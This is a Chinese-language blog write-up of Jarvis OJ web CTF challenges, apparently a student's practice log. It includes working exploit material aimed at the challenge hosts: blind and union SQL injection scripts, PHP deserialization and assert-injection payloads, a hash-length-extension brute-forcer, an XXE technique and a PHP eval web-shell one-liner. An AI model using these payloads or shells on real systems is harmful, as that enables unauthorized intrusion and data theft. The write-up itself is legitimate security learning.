logo头像

黑客的本质就是白嫖

Jarvis OJ web wp(未完)

本文于 530 天之前发表,文中内容可能已经过时。

前言

趁着这个学期空闲多,各大平台的题目正好也没怎么刷过,就慢慢刷一下吧

write up

0x01 PORT51

进入页面提示用51端口访问
命令行运行:
curl --local-port 51 http://web.jarvisoj.com:32770/
得到flag

0x02 LOCALHOST

localhost access only,同样是很直白的提示
有几种方式可以修改IP,这里用X-Forwarded-For得到flag

0x03 Login

firefox打开f12,随便输入一个密码,查看响应头,发现一条hint,内容为后台的sql语句
"select * fromadminwhere password='".md5($pass,true)."'"
这样的话,如果要登陆,必须找到一个字符串,这个字符串加密之后的前几位数字在转化成字符串的时候是' or '
emmmm看起来难度挺大的,虽然可以用脚本爆破,但是这里为了省时间我Google了一下那个字符串:ffifdyop,输入密码框得到flag

0x04 神盾局的秘密

打开题目,依然是查看f12,看到发送了两个请求,一个是题目的页面请求,另一个是题目内的图片的请求,参数为img,值为文件名的base64编码
这样的话尝试获取页面文件的代码,把index.phpbase64编码之后作为值传给img参数,得到源代码:

1
2
3
4
5
6
7
8
9
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

我们看到这个页面请求了一个shield.php文件,继续请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

根据代码逻辑,我们需要构造一个序列化字符串,作为class参数输入到index.php
直接在本地构建,最后传入index.php即可
附脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Shield {
//flag is in pctf.php
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}

$a = new Shield();
$a->file = 'pctf.php';
echo serialize($a);
?>

Jarvis_1

0x05 IN A Mess

进入题目,页面里啥都没有,查看源码发现注释index.phps,访问,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}


?>

代码审计,首先最简单的id==0,php弱类型,用个0开头的字符串就好了,第二个是b,这里可以使用%00截断,后面放4,最后是data,这里可以使用php://input,这样变量的值可以用POST传递
最后得到一个字符串,直接访问
Jarvis_2
进去大致查看了一下貌似是个SQL注入,fuzzing后发现过滤了空格等字符
空格可以用/*xx*/代替,其他过滤的可以双写绕过,注入细节就不一一演示了

0x06 RE?

这题给了个 udf.so 文件,这是 MySql 里面的用户自定义函数,具体用法为:
CREATE [AGGREGATE] FUNCTION function_name RETURNS {STRING|INTEGER|REAL} SONAME '文件名'
题目做法为将文件导入至 MySql 中,调用 help_me 函数,再根据提示调用 get_flag 函数,这里由于环境问题我就不演示了(需要在 Linux 下)

0x07 flag在管理员手里

进去一看,响应头有两个东西,一个是序列化的字符串,另一个是一个 hash 值,这样猜测可能是哈希拓展攻击,但是要做这个的话还需要条件,再回去网站上找了找,找到了备份文件index.php~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>:

不知道 $salt 长度,尝试爆破,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import os
from urllib import *

url = "http://web.jarvisoj.com:32778/index.php"
for i in range(1,100):
hashs = "./hashpump -s 3a4727d57463f122833d9e732f94e4e0 -d ';\"tseug\":5:s' -a ';\"nimda\":5:s' -k {0}".format(i)
res = os.popen(hashs).readlines()
a = quote(unquote(res[1][:-1])[::-1])
b = res[0][:-1]
cookie = "role={0};hsh={1}".format(a,b)
header = {
"Host": "web.jarvisoj.com:32778",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Cookie": cookie,
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0"
}
r = requests.get(url,headers = header)
if("Welcome" in r.text):
print(r.text)
break

这里使用的工具是 Hashpump ,放在和脚本同一目录下即可

0x08 Chopper

题目说来源 ISCC2016 ,先进去,点击管理员登录,禁止,查看源代码,有一个注释里写着 adminip
回到原来的页面,查看源代码,发现有一个 proxy.php 页面,可以请求 url ,尝试请求http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/
中间的 ip 地址为注释中显示 adminip ,但是页面中没有什么内容,一番寻找之后找到了 robots.txt 文件,里面有两个文件,一个是 php 文件,目测是题目所说的 shell ,还有一个是相同名字的 txt 文件,发现是一串复杂的代码
Jarvis_3
放到 php 文件里跑一下查看报错,得到 shell 连接密码
Jarvis_4
连接拿到 flag
Jarvis_5

又是来自 ISCC 2016 的题目
这里对于现在的我来说已经开始变得不是那么容易了
仍然是进入题目,映入眼帘的是一个这样的页面
Jarvis_6
先看下页面功能,一个 Submit ,一个 View ,点进去看猜测是通过 Submit 上传一张图片,再通过 View 查看上传的图片
Jarvis_7
Jarvis_8
这样的话先测试一下,上传一张普通的图片,上传之后会生成一个图片 id
Jarvis_9
View 界面输入图片 id 查询看看,但是没什么特殊的,查看源码
Jarvis_10
可以看到图片路径在upload目录下,这样我们尝试直接上传一个图片马使用菜刀连接
Jarvis_11
连接失败,看来直接连接貌似做不到,这要怎么办呢?
求助了一波搜索引擎,得到结果需要使用页面的url形式访问,尝试一下
Jarvis_12
百度诚不我欺,但是这里报了错,说访问目标php文件失败(肯定会失败啊我们上传的是jpg文件),可以尝试使用%00 截断绕过
Jarvis_14
访问倒是访问到了,但是说 You should not do this! 是个啥意思…意思是我们的图片马被识别了?
那尝试另一种写法

1
<script language="php">@eval($_POST['xixixi']);</script>

Jarvis_13
成功拿到flag

0x0a Simple Injection

一个SQL注入的题目,进去看了一下,应该是盲注,注入点在username处,查询成功时会返回密码错误的字样,否则返回用户名错误
Jarvis_15
Jarvis_16
这样的话需要写脚本盲注,正好前几天写了一个二分法盲注的脚本,这里拿来用用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url = "http://web.jarvisoj.com:32787/login.php"
table_name = "admin'/**/and/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{0}))>{1}#"
column_name = "admin'/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='admin'),{0}))>{1}#"
s = requests.Session()
result = ""
for i in range(1,40):
low = 32 #可显字符最低ASCII
high = 126 #可显字符最高ASCII
mid = (low + high)>>1
while low < high:
payload = "admin'/**/and/**/ascii(substr((select/**/password/**/from/**/admin),{0}))>{1}#".format(i,mid)
data = {
'username':payload,
'password':'111'
}
headers = {}
r = requests.post(url,data=data) #根据实际情况选择提交方式
#print(url+payload)
if("用户名错误" in r.text): #查询失败特点
high = mid
else:
low = mid + 1
mid = (low + high)>>1
result += chr(mid)
print(result)
print(result)

最后得到admin的密码是一个md5值,在在线解密网站上查询得到结果,登录得到flag
Jarvis_17

0x0b api调用

题目说要获取服务器中/home/ctf/flag.txt 的值
Jarvis_18
题目页面如图,没啥特殊的,查看源码发现提交的值会通过JS代码里的一个send函数发送至服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function XHR() {
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}
}
}
return xhr;
}

function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

那就来审计一下吧,这里在我们输入值的时候,会读取输入内容并将其 POST/api/v1.0/try
……
尝试了很久没有什么进展,还是选择了搜索引擎
说是xxe的题,xxe前几天看书的时候看到过,但是以前一直都没有见过,也不清楚什么情况下会出现,现在算是第一次碰到了
最后payload如下
Jarvis_19
具体思路是将传入的Content-Type改为application/xml,这样服务端就会将传入的数据解析为xml,从而造成xxe注入,以后看到Content-Typeapplication/json的话可以注意一下

0x0c 图片上传漏洞

一脸懵逼,后来看到说是一个cve的题目,心态平衡了一点,就当作是有人搭好了环境让我复现一下攻击过程吧
首先可以通过扫描器扫描到一个test.php文件,打开是phpinfo文件,查看文件,发现其使用的Imagick版本为3.0.3,低于6.9.3-9,存在漏洞
Jarvis_20
再通过exiftool生成一个一句话后门,网站物理路径可以在phpinfo中看到
这题网上找的payload笔者都无法使用,看起来是自己太菜了的原因,这一题先暂时跳过

0x0d PHPINFO

这题进来之后看样子是要提交一个phpinfo参数,但是提交之后一脸懵逼了,根本不知道要去找啥,无奈找了一下wp
原来题目线索在初始页面的那句ini_set('session.serialize_handler', 'php');,这里将序列化与反序列化的处理器设置为了php,其他的还有php_binaryphp_serialize两种,各种处理器对应的存储形式如下

处理器 对应的存储形式
php 键名+|+经过serialize()序列化后的值
php_binary 键名长度对应的ASCII字符+键名+经过 serialize()函数序列化后的值
php_serialize 经过serialize()函数序列化处理后的值

题目里设置了处理器为php,但是在phpinfo文件内我们可以看到php版本为5.6.21,默认使用的是php_serialize处理器,这样就出现了序列化与反序列化漏洞,老实说之前碰到的反序列化漏洞都不是这样的,要么就是直接给一个函数,不知道是不是因为我的档次太low
那这样我们应该怎样利用这个漏洞呢?题目给了我们phpinfo页面肯定不止是为了让我们看一个php版本的,尝试搜索session
Jarvis_21
可以看到基本的关于session的方法都被禁止了,只留下图中标注的几个,这样尝试搜索这几个的用法
Jarvis_22
这里说到在接收到请求的时候,会在 $_SESSION 中插入一组数据,还给了一个请求的页面代码

1
2
3
4
5
6
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>

对代码稍作修改,再传入我们自己构造的序列化数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
ini_set("session.serialize_handler", "php_serialize");
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'print_r(scandir(dirname(__FILE__)));';
}

function __destruct()
{
eval($this->mdzz);
}
}
$a = new OowoO;
echo serialize($a);
?>

Jarvis_23
这里是参考了chybeta大佬的payload,加上斜杠是为了防止转义,接下来就是读取文件Here_1s_7he_fl4g_buT_You_Cannot_see.php中的内容,物理路径可以在phpinfo中得知,同样的流程,只是换了一个值,也要记得加上斜杠
Jarvis_24
flag get

0x0e WEB?

一进去以为是个SQL注入,但是看源代码以及网络并没有请求发出,然后看到了一个app.js,打开,格式化,搜索Wrong password,跳转到一个函数处
Jarvis_25
再继续跟踪
Jarvis_26
最后找到判断函数,那里一大串数组,分析之后感觉是解一个方程组,高数不好的我瞬间懵逼,还是借用了大佬的脚本
Jarvis_27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import numpy as np
from scipy.linalg import solve
import string
r = np.array([325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259])
o = np.array(
[ [11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135],
[76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221],
[218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230],
[30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80],
[134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45],
[142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107],
[229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249],
[235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158],
[37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98],
[199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141],
[212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119],
[194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94],
[110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208],
[220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196],
[190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40],
[144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123],
[158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236],
[251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119],
[192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196],
[106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66],
[154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214],
[193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212],
[164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235],
[221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156],
[236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]])
x = solve(o,r)
flag = ""
for i in range(len(x)):
char = chr(int(round((x[i]))))
flag += char
print(flag)

0x0f [61dctf]admin

之前几题给我的打击有点大,这题点开的时候其实是有点发怵的
点进去之后啥都没有,只有一个hello world,四处找了一下也没有什么特殊的,不得已使用了扫描器
扫到了robots.txt,打开发现一个admin_s3cr3t.php文件,进去,同样啥都没有,一个flag{hello guest} 在屏幕上
四处找了一下最后在响应头里找到了Set-Cookie: admin=0,尝试修改,响应为flag{hello_admin~}
一开始还以为不是正确flag,导致又找了好久,最后不得已看了一下wp,没想到这还真是flag
emmmmm论自信心在ctf中的重要性

0x10 [61dctf]inject

题目有一个hint,说让先找到源码
进去之后同样没有任何特别的,依旧扫描器跑起来
扫到了一个config.php,但是试了很久没有得到什么信息,最后试了一下index.php的备份文件,emmmm没想到源码指的是这个源码

1
2
3
4
5
6
7
8
9
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

看了好久才搞懂这个代码基础越来越差了,这里mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();意思是插入的语句需要使前面的代码运行成功,否则会调用后面这个函数,虽然不知道实际用处,但是肯定是不能进去的
上面这个语句没怎么见过,哪有直接一个降序,啥都不操作的
为了闭合,在本地测试了一会儿,结果是,desc `table1` `table2`;中,如果table1存在,则语句不会报错,反之则报错
Jarvis_28
然后下面那个语句的结果是一个列名为flag{xxx} ,值也为flag{xxx} 的表,这样的话我们可以构造语句

1
2
3
flag` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
flag` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1
flag` `union select flagUwillNeverKnow from secret_flag limit 1,1

limit的原因就是上面说的,因为第一行数据是flag{xxx} ,所以我们查询的数据在第二行,而这里我挺幸运的用的flag闭合,我看网上wp都用的是test,而里面的表又正好只有这两个,so…

0x11 [61dctf]register

一道二次注入的题目,题目给了两个hint,一个说了是二次注入,一个提示了二次注入的地点在country
进入网页之后是登录页面,也没有注册的按钮,那估计注册页面的uri就是register.php,果然
Jarvis_29
先注册一下看看吧
Jarvis_30
可以看到整个页面只有两个url跳转,那么回显点应该就在info页面了
尝试注册另一个账号
试了很久,没啥结果,估计是我太菜了,看了一下wp,发现这是一个二次盲注的题目…怪不得我不会,根本就没想到会是盲注,以前碰到过二次注入,不过都是结果直接回显的emmmmm暂时要搞清楚这题需要花点时间,今天我很累了就先休息了
早起继续
这题暂时放弃,照着大佬的脚本直接跑都没用,不清楚哪里出现了问题

0x12 [61dctf]babyphp

进入题目,在about页面上看到使用了GIT,尝试使用Githack,得到源码
Jarvis_31

1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

看样子关键地方在这里,但是没什么头绪,遂观wp
说是assert函数的问题,可以通过闭合然后构造语句读取flag
payload
page=flag'.system("cat templates/flag.php;").'
查看源代码拿到flag
Jarvis_32
Jarvis_33

0x13 [61dctf]babyxss

下次再做


参考资料:
神奇的Content-Type——在JSON中玩转XXE攻击
jarvisoj-web
JarvisOJ Web&Reverse&Pwn
wooyun-PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
(chybeta)jarvisoj-web-writeup
Session 上传进度
Jarvis OJ web writeup

评论系统未开启,无法评论!